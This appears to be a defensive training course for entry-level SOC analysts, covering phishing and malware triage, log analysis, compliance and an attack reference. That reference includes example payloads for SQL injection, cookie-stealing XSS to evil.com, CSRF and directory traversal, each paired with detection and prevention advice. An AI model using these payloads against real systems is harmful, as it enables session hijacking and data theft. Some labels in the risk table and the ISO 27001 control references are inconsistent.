SIEM detects and alerts. SOAR responds and acts. They work together: SIEM fires an alert → SOAR automatically runs the playbook → analyst reviews the completed actions. SIEM is the eyes, SOAR is the hands.

📐 Module 10

Cybersecurity Frameworks

Frameworks are structured guidelines that help organizations build, measure, and improve their security programs. SOC analysts work within these frameworks daily.

NIST Cybersecurity Framework (CSF)

NIST · USA · Most Widely Adopted

The gold standard framework for organizing security programs. Built around 5 core functions that provide a complete lifecycle for managing cybersecurity risk. Used by both government and private sector globally.

Function	What It Means
IDENTIFY	Know your assets, risks, and environment
PROTECT	Implement safeguards and controls
DETECT	Find threats and anomalies — this is SOC work
RESPOND	Take action on detected incidents — IR
RECOVER	Restore capabilities after an incident

🔑 SOC relevance: L1 analysts operate in the DETECT and RESPOND functions every single shift.

NIST SP 800-61 — Incident Handling Guide

NIST · Technical Standard

The specific NIST publication that defines incident response procedures in detail. Most SOC IR playbooks are based directly on this document. It's the blueprint behind Preparation → Detection → Containment → Recovery → Post-Incident.

🔑 SOC relevance: Your IR procedures are legally and operationally based on this document. Know the 4 phases cold.

ISO/IEC 27001

ISO · International Standard · Certifiable

International standard for Information Security Management Systems (ISMS). Organizations can be certified compliant. Defines 114 controls across 14 domains — covering everything from access control to incident management to physical security.

Unlike NIST (a framework), ISO 27001 is a certifiable standard — meaning external auditors verify compliance.

🔑 SOC relevance: Your SOC's monitoring, logging, incident response, and access management controls are all audited against ISO 27001 Annex A controls (especially A.12 Operations Security and A.16 Incident Management).

CIS Controls (v8)

Center for Internet Security · Prioritized Controls

18 prioritized security controls ranked from most to least impactful. Highly practical — tells you exactly what to implement first for maximum risk reduction. Organized into Implementation Groups (IG1/IG2/IG3) based on organization size.

Top Controls	SOC Relevance
CIS #1: Asset Inventory	Can't protect what you don't know about
CIS #8: Audit Log Management	Directly feeds your SIEM
CIS #13: Network Monitoring	Core SOC function
CIS #17: IR Management	Your IR playbooks and procedures

MITRE ATT&CK (see Module 07)

MITRE Corporation · Adversary Behavior Framework

Not a compliance framework — a knowledge base of adversary tactics and techniques. Used to write detection rules, threat hunt, build red team exercises, and communicate about threats with precision. Every SOC uses it as their common language.

🔑 SOC relevance: When you detect an alert, you map it to a MITRE technique. This tells you what else to look for.

Diamond Model of Intrusion Analysis

Intelligence Community · Threat Analysis

A model for analyzing intrusions using 4 linked elements: Adversary → Capability → Infrastructure → Victim. Shows how these elements relate to each other. Used by CTI analysts to attribute attacks and predict adversary behavior.

🔑 SOC relevance: Helps L2/L3 analysts understand who is attacking, with what tools, from which infrastructure, and why.

🎣 Module 11

Phishing Email Analysis

Analysing suspicious emails is one of the most common L1 tasks. Here's a real annotated example and the exact investigation process to follow.

Suspicious Email — Forwarded for Analysis

FROM:[email protected]⚠ FAKE DOMAIN — Note the zero

TO:[email protected]

DATE:Mon, 3 Mar 2025 02:14:37 +0000⚠ 2AM SEND TIME

SPF:FAIL⚠ SPF FAILED

DKIM:FAIL⚠ NOT SIGNED

DMARC:FAIL — All three email authentication checks failed

⚠ URGENT: Your Microsoft 365 account will be suspended in 24 hours ⚠ URGENCY TACTIC

Dear Customer, ⚠ GENERIC — doesn't know your name

We have detected suspicious activity on your Microsoft 365 account. Unless you verify your identity within 24 hours, your account will be permanently deleted. ⚠ FEAR + URGENCY

Click the link below to verify your account immediately:

https://microsoft-account-verify.ru/login ⚠ .RU DOMAIN — NOT MICROSOFT

— Microsoft Security Team ⚠ NO CONTACT INFO, NO SIGNATURE

L1 Investigation Process — Step by Step

1
Check Email HeadersVerify SPF, DKIM, DMARC status. Check the actual "Reply-To" domain vs display name. Look at originating IP. All three auth checks failing = strong phishing indicator. Use: MXToolbox Header Analyzer.
2
Analyse the Sender DomainRun sender domain through VirusTotal and WHOIS. How old is the domain? Attacker domains are often hours or days old. Look for typosquatting: micros0ft, paypa1, g00gle, amaz0n.
3
Investigate URLs — Safely!NEVER click directly. Use URLScan.io, VirusTotal URL scanner, or AnyRun. Screenshot the fake login page as evidence. Check the hosting IP and certificate details.
4
Analyse Attachments — Safely!Upload file hash (NOT the file) to VirusTotal. Use Any.run for sandbox analysis. Check for Office macros (enable_macros = red flag), double extensions (invoice.pdf.exe), or password-protected zips (evades AV scanning).
5
Check if Anyone ClickedSearch SIEM/proxy logs for the malicious URL across ALL users. Search email gateway logs for everyone who received the same email. Check EDR for any post-click process activity on affected machines.
6
Respond & DocumentIf confirmed phishing: Pull email from ALL mailboxes (M365 admin portal or email gateway). Block sender domain and malicious URLs. Reset credentials for users who clicked. Document all IOCs in the ticket and close it.

🦠 Module 12

Malware Analysis Fundamentals

You won't do deep reverse engineering as L1 — but you need to triage malware alerts, understand what's happening, and escalate with full context.

📄 Static Analysis

Analysing the file WITHOUT running it. Completely safe.

Check: File hash (SHA256), strings inside the file (URLs, IPs, registry keys), PE header, file type.

VirusTotalPEStudiostrings

🏃 Dynamic Analysis

Running the malware in an isolated sandbox and watching what it does.

Observe: Network connections, files created, registry changes, processes spawned.

Any.runCuckoo SandboxHybrid Analysis

🔬 Code Analysis

Reverse engineering the actual code. L3 level skill.

Used by malware researchers and CTI analysts. Not required at L1.

GhidraIDA Prox64dbg

🩺 L1 Malware Triage — 5 Steps

1
Get the SHA256 hashHash the suspicious file. Never share the actual malware — just the hash. Hash is a fingerprint that uniquely identifies the file.
2
Search VirusTotalIf 40+ engines flag it = confirmed malware. Note the family name (Emotet, Cobalt Strike, AsyncRAT). Family name tells you what it does.
3
Review EDR process treeWhat spawned what? Word.exe → cmd.exe → powershell.exe → outbound connection = macro malware. The process tree tells the whole story.
4
Check network connectionsWhat IPs/domains did it connect to? Search SIEM for those IPs across ALL endpoints — is this spreading?
5
Isolate and escalateIsolate the endpoint via EDR. Document all IOCs. Escalate to L2 with: hash, process tree, IOCs, affected users, and timeline.

📊 Module 13

Network Log Analysis

Reading network logs to spot attack patterns is a daily SOC skill. Learn to see anomalies in raw data.

🔥 Firewall Log — Data Exfiltration Example

# Timestamp         SrcIP             DstIP             Port  Action  Bytes
2025-03-01 03:14:01 192.168.1.55  185.220.101.45  443   ALLOW   45KB
2025-03-01 03:14:12 192.168.1.55  185.220.101.45  443   ALLOW   52KB
2025-03-01 03:14:15 192.168.1.55  185.220.101.45  443   ALLOW   2.4GB  ← !! EXFILTRATION
2025-03-01 03:15:00 10.0.0.1        192.168.1.55   22    ALLOW   1.2KB  ← Reverse SSH?

⚠️ Red flags: 2.4GB upload at 3am to a known Tor exit node. SSH inbound from internal to workstation (backwards). Immediate escalation required.

📡 DNS Log — C2 Beaconing Pattern

# Every 5 minutes — exact intervals = malware C2 check-in
00:00  192.168.1.55  →  a3f92k1.xyz
05:00  192.168.1.55  →  a3f92k1.xyz
10:00  192.168.1.55  →  a3f92k1.xyz
15:00  192.168.1.55  →  a3f92k1.xyz  ← DGA Domain (random-looking)

⚠️ Exact 5-minute intervals + random-looking domain = classic malware C2 beaconing (Domain Generation Algorithm). Normal users never query the same random domain every 5 minutes.

🔍 Key Anomalies to Hunt

Pattern	Possible Attack	Log Source
Large outbound transfer after hours	Data exfiltration	Firewall / Proxy
Exact-interval DNS queries to unknown domain	C2 beaconing	DNS logs
Sequential port probes from one IP	Reconnaissance scan	Firewall / IDS
RDP from external IP to internal server	Unauthorized remote access	Firewall logs
Internal host scanning many internal IPs	Lateral movement / worm	NetFlow / IDS
Very long DNS subdomain queries	DNS tunneling (data exfil)	DNS logs
Many failed logins then one success	Brute force / credential stuffing	Auth logs / SIEM

🌐 Module 14

Cyber Threat Intelligence

CTI is knowing your enemy before they strike. Collecting, analyzing, and sharing information about threats to make better, faster security decisions.

📊 Types of Threat Intelligence

Type	Who Uses It	Example
Strategic	CISO, Executives	"Ransomware targeting healthcare up 40% this year"
Operational	SOC Manager, IR Team	"APT29 actively targeting law firms via spear phishing"
Tactical	L2/L3 Analysts	TTPs: specific MITRE techniques used by a threat actor
Technical	L1/L2 Analysts (you!)	IOCs: malicious IP, domain, file hash, URL

🔑 IOCs — Indicators of Compromise

The digital fingerprints attackers leave behind. As L1, you search for these in logs and enrich alerts with them daily.

IOC Type	Example
IP Address	`185.220.101.45`
Domain	`evil-c2.ru`
File Hash SHA256	`d41d8cd98f00b204...`
Email Subject	`"URGENT: Invoice attached"`
Registry Key	`HKLM\Run\malware32`

🛠️ Free CTI Tools — Use Daily

VirusTotal

Scan files, hashes, URLs, IPs against 70+ engines. First stop for any IOC.

AlienVault OTX

Community threat intel "pulses" with full IOC context and campaign attribution.

URLScan.io

Safely browse and screenshot suspicious URLs without risking your machine.

ThreatFox

Abuse.ch IOC database — IPs, domains, hashes with malware family context.

Shodan

Internet-connected device search engine. Check if your org's assets are exposed.

MISP

Open-source platform for sharing structured threat intelligence across organizations.

⚖️ Module 15

Risk Assessment

Risk assessment is the process of identifying what could go wrong, how likely it is, and how bad it would be — so you can prioritize where to invest security resources.

💡 The Core Formula

Risk = Likelihood × Impact
A vulnerability that's very easy to exploit (high likelihood) AND would cause massive damage (high impact) = Critical Risk. A vulnerability that's hard to exploit AND causes minimal damage = Low Risk. Risk assessment helps you prioritize.

📋 Risk Assessment Process

1
Asset IdentificationWhat do you need to protect? Servers, databases, applications, endpoints, user accounts, data. You can't protect what you don't know about.
2
Threat IdentificationWhat could harm those assets? Ransomware, phishing, insider threat, DDoS, data breach, physical theft. Use threat intelligence to focus on realistic threats.
3
Vulnerability AssessmentWhat weaknesses exist that threats could exploit? Unpatched software, misconfigured cloud, weak passwords, no MFA, unsegmented networks.
4
Risk AnalysisFor each Threat + Vulnerability pair: score the Likelihood (1–5) and Impact (1–5). Multiply them. Risk score guides prioritization.
5
Risk TreatmentFor each risk, decide: Accept it, Mitigate it (add controls), Transfer it (insurance), or Avoid it (stop the risky activity). Document decisions.

🎯 Risk Treatment Options

Option	Meaning	Example
MITIGATE	Add controls to reduce risk	Enable MFA to reduce credential theft risk
TRANSFER	Shift risk to a third party	Buy cyber insurance, use MSSP
ACCEPT	Consciously live with the risk	Low-impact, low-likelihood risks not worth fixing
AVOID	Stop the risky activity entirely	Decommission a vulnerable legacy system

Risk Heat Map (Likelihood × Impact)

Likelihood ↓ / Impact →

Very Low (1)

Low (2)

High (3)

Critical (4)

Very High (4)

MEDIUM 4

HIGH 8

CRITICAL 12

CRITICAL 16

High (3)

LOW 3

MEDIUM 6

HIGH 9

CRITICAL 12

Low (2)

LOW 2

LOW 4

MEDIUM 6

HIGH 8

Very Low (1)

LOW 1

LOW 2

LOW 3

MEDIUM 4

📌 SOC Analyst and Risk — How They Connect

As an L1 analyst, you directly support risk management by:

SOC Activity	Risk Management Link
Alert triage and severity classification	Determines risk level of an active incident
Incident response	Reduces impact of realized risks
Vulnerability alert monitoring	Tracks unmitigated risks in the environment
Reporting metrics (mean time to detect/respond)	Measures effectiveness of risk controls
Post-incident lessons learned	Input to improving risk treatment decisions

⚖️ Module 16

Compliance Laws & Standards

Compliance laws define the minimum security requirements organizations must meet. SOC analysts work within compliance frameworks every day — especially in regulated industries like finance and healthcare.

💡 Compliance vs Security

Compliance ≠ Security. Compliance means meeting the minimum legal requirements. Security means actually protecting against real threats. A compliant organization can still get breached. The SOC's job is to go beyond compliance and achieve real security.

PCI-DSS

Payment Card Industry Data Security Standard

Applies to any organization that stores, processes, or transmits cardholder data (credit/debit card numbers). Created by Visa, Mastercard, Amex, and others. Violations can result in massive fines and loss of ability to process payments.

12 Core Requirements include: Install firewalls, encrypt cardholder data in transit, restrict access on a need-to-know basis, regularly test security systems, maintain an information security policy, monitor all access to cardholder data.

SOC Relevance: Your SIEM must log all access to cardholder data environments. Log retention periods are mandated (typically 12 months). Any breach of cardholder data is a PCI-DSS reportable incident with a strict response timeline. L1 analysts must know which alerts relate to PCI-scoped systems and escalate faster.

HIPAA

Health Insurance Portability and Accountability Act

US federal law that protects Protected Health Information (PHI) — any data that can identify a patient. Applies to healthcare providers, health insurers, and their business associates. HIPAA violations carry fines from $100 to $1.9M per violation category per year.

Key Rules: Privacy Rule (who can access PHI), Security Rule (technical, physical, administrative safeguards), Breach Notification Rule (must notify patients within 60 days of a breach), Omnibus Rule (extends requirements to vendors/subcontractors).

SOC Relevance: Any unauthorized access to patient data is a HIPAA breach that must be reported. SOC analysts monitor for unauthorized PHI access, abnormal database queries, and data exfiltration. Healthcare organizations are top ransomware targets — rapid incident detection and response is both a legal requirement and patient safety issue.

ISO 27001

ISO/IEC 27001 — Information Security Management System

The international standard for information security. Organizations can be certified by accredited auditors. Unlike PCI-DSS (prescriptive rules), ISO 27001 is a management system standard — it requires you to systematically identify risks and implement proportionate controls.

Annex A Controls relevant to SOC: A.12.4 Logging & Monitoring, A.16.1 Incident Management, A.8.15 Logging, A.8.16 Monitoring Activities. Certification requires passing an external audit every 3 years with annual surveillance audits.

SOC Relevance: ISO 27001 Annex A A.16 directly governs your SOC's incident management process. External auditors will review your SIEM alert logs, incident tickets, escalation procedures, and post-incident reports. Your documentation quality directly impacts the organization's certification status.

GDPR

General Data Protection Regulation

EU regulation protecting personal data of EU citizens. Applies to any organization worldwide that processes EU residents' data. Fines up to €20 million or 4% of global annual turnover — whichever is higher. Sets strict rules on data collection, processing, storage, and deletion.

SOC Relevance: GDPR Article 33 requires organizations to notify the relevant supervisory authority of a data breach within 72 hours of becoming aware. This means your SOC's MTTD (Mean Time to Detect) and MTTR (Mean Time to Respond) directly affect GDPR compliance. SOC must have processes to detect personal data breaches rapidly.

📊 Compliance Quick Comparison

Standard	Who It Applies To	Breach Notification	Key SOC Control
PCI-DSS	Anyone handling payment cards	Immediately to card brands	Log all access to cardholder data
HIPAA	Healthcare orgs (US)	Within 60 days	Audit access to patient records
ISO 27001	Any org seeking certification	As per ISMS policy	Documented incident management
GDPR	Anyone handling EU data	Within 72 hours	Detect personal data breaches fast
SOX	Publicly listed US companies	Varies	Protect financial reporting systems

🛡️ Module 17

All Cyber Attacks

Complete attack reference with definition, example, detection, prevention, and remediation for every attack type a SOC L1 analyst must know.

WEBSQL Injection (SQLi)CRITICAL+

Malicious SQL code injected into input fields to manipulate the database — bypassing auth, stealing or deleting data.

📌 Login form: attacker enters ' OR '1'='1 — query always returns true, bypassing authentication entirely.

🔍 Detect

WAF alerts for SQL keywords in inputs
Unusual DB errors in app logs
Unexpected large data responses

🛡️ Prevent

Parameterized queries / prepared statements
Deploy WAF
Least-privilege DB accounts

🔧 Remediate

Block IP via WAF immediately
Patch vulnerable code
Audit DB for unauthorized changes

WEBCross-Site Scripting (XSS)HIGH+

Attacker injects malicious JavaScript into a web page. Script runs in victims' browsers — stealing cookies, hijacking sessions, redirecting users.

📌 Comment field: <script>document.location='evil.com?c='+document.cookie</script> — every visitor's session cookie sent to attacker.

🔍 Detect

WAF rules for <script> in inputs
CSP violation reports
Proxy: outbound requests to unknown hosts

🛡️ Prevent

HTML encode all output
Content Security Policy (CSP) header
HttpOnly & Secure cookie flags

🔧 Remediate

Remove malicious script from DB
Invalidate all active sessions
Notify affected users

WEBCSRF — Cross-Site Request ForgeryHIGH+

Tricks authenticated users' browsers into sending forged requests to a trusted site — using their active session without their knowledge.

📌 Hidden image tag in email: <img src="bank.com/transfer?to=attacker&amount=5000"> — bank executes transfer using victim's session cookie automatically.

🔍 Detect

Requests missing CSRF tokens in logs
State-change requests from unusual referrers

🛡️ Prevent

CSRF tokens on all state-changing forms
SameSite=Strict cookie attribute
Validate Origin/Referer headers

🔧 Remediate

Invalidate affected user session
Reverse unauthorized actions if possible
Deploy CSRF token protection in code

WEBCredential Stuffing / Brute ForceCRITICAL+

Credential stuffing uses leaked username/password lists to try logins on other sites (password reuse). Brute force tries all combinations systematically.

📌 LinkedIn breach credentials used to log into Netflix, Gmail, and banking sites — because users reuse passwords across multiple services.

🔍 Detect

High volume failed logins from one IP
Multiple accounts from same IP
Impossible travel alerts

🛡️ Prevent

Enforce MFA on all accounts
Account lockout after N failures
CAPTCHA on login forms

🔧 Remediate

Lock out affected accounts
Force password reset
Block attacker IPs via WAF

WEBDDoS — Distributed Denial of ServiceHIGH+

Thousands of compromised machines (botnet) flood a server with traffic until it crashes and becomes unreachable to legitimate users.

📌 2016 Mirai botnet — infected IoT cameras and routers, used them to flood Dyn DNS. Twitter, Netflix, Reddit down for hours.

🔍 Detect

Sudden traffic volume spike
High CPU/memory on web servers
Requests flood from one IP range

🛡️ Prevent

Cloudflare / AWS Shield DDoS protection
Rate limiting on all endpoints
CDN to absorb traffic

🔧 Remediate

Activate DDoS mitigation service
Block offending IPs via ACLs
Contact ISP for traffic scrubbing

WEBDirectory TraversalHIGH+

Attacker uses ../ sequences in URL parameters to escape the web directory and access sensitive server files.

📌 URL: ?file=../../etc/passwd — retrieves Linux password file instead of a legitimate document.

🔍 Detect

WAF alerts for ../ patterns in URLs
Access logs showing /etc/ or C:\Windows\

🛡️ Prevent

Validate/sanitize all file path inputs
Use allowlists for valid file names
Chroot web server process

🔧 Remediate

Block attacker IP
Audit what files were accessed
Patch vulnerable endpoint

🎓 Module 18

Tools & Certifications

The industry tools you'll use on the job and the certifications that will get you hired. Build this stack and you'll be job-ready.

Essential Tools for SOC L1

Splunk

SIEM Free Training

Industry-leading SIEM. Learn SPL (Splunk Processing Language) to search logs. Most common SIEM in enterprise SOCs. Free education at education.splunk.com.

Microsoft Sentinel

SIEM Cloud-Native

Azure-based SIEM rapidly replacing legacy tools. Uses KQL (Kusto Query Language). Free in Azure sandbox. Growing fast in enterprise.

CrowdStrike Falcon

EDR

Premier EDR platform. L1 uses it to review process trees, isolate compromised endpoints, and check indicators against threat intelligence.

Wireshark

Packet Analysis FREE

Standard for packet capture analysis. Free and open-source. Essential for network incident investigation. Must-know skill for every SOC analyst.

VirusTotal

Threat Intel FREE

Analyze files, URLs, IPs, and domains against 70+ security engines. Daily tool for every L1 analyst. Used in virtually every phishing and malware investigation.

TheHive + Cortex

Case Mgmt + SOAR FREE

Open-source incident case management + automation. Excellent for learning IR documentation. Install locally to practice.

Nmap

Network Scanner FREE

Network mapper. Analysts need to understand port scanning because attackers use it — and you'll see the patterns in firewall logs every day.

Any.run / Hybrid Analysis

Malware Sandbox Free Tier

Submit suspicious files for safe sandbox analysis. See exactly what the malware does, what it connects to, what registry keys it creates.

Elastic SIEM (ELK Stack)

SIEM FREE

Elasticsearch + Logstash + Kibana. Great to install at home for hands-on practice. Common in smaller SOCs and widely used in labs.

Certifications — Your Career Roadmap

CompTIA Security+

CompTIA · Entry Level · Most Recommended

The #1 starting certification for cybersecurity careers. Covers threats, cryptography, network security, and IR. Required for many government and enterprise SOC positions. Globally recognized. Exam: SY0-701.

CompTIA CySA+

CompTIA · Intermediate · SOC Focused

Specifically designed for SOC analysts. Covers threat detection, behavioral analytics, incident response, and threat intelligence. Natural next step after Security+. Exam: CS0-003.

Blue Team Level 1 (BTL1)

Security Blue Team · Highly Practical

Hands-on SOC-specific certification. Labs cover phishing analysis, SIEM investigation, network analysis, OSINT, and digital forensics. Hands-on exam — investigate a real simulated attack. Highly recommended.

SC-200 — Microsoft Security Operations

Microsoft · Azure Sentinel Focused

Validates ability to use Microsoft Sentinel, Defender for Endpoint, and Azure security tools. Highly relevant for enterprise SOC roles using the Microsoft security stack.

Google Cybersecurity Certificate

Google / Coursera · Best Starter

8-course beginner program covering networking, Linux, SQL, SIEM, and Python basics. Very affordable, browser-based labs. Best first step before Security+.

Splunk Core Certified User

Splunk · Tool-Specific

Validates Splunk searching, dashboards, and alerting. Signals to employers you can operate the most common enterprise SIEM from day one. Very valuable for interview differentiation.

🖥️ Free Practice Platforms

TryHackMe.com

Best beginner platform. SOC Level 1 path. Browser-based labs, zero setup. Start here today.

LetsDefend.io

Real SIEM alerts to investigate. Closest thing to actual SOC work. Essential interview prep.

HackTheBox Academy

SOC Analyst job role path. Deeper technical content. Great for L1 → L2 progression.

Blue Team Labs Online

PCAP analysis, log investigation, malware samples. Real defensive challenges with free tier.

Cybrary

SOC Analyst career path. Video-based learning. Good for building conceptual foundations.

YouTube — TCM Security

Free SOC and security analyst courses. Practical, well-structured, completely free.

🎯 Recommended Learning Order

1. Google Cybersecurity Certificate (foundations) → 2. TryHackMe SOC Level 1 path (hands-on practice) → 3. CompTIA Security+ exam (certification) → 4. LetsDefend.io (real SOC simulation) → 5. BTL1 or CySA+ (advanced SOC certification) → 6. Apply for L1 roles 🚀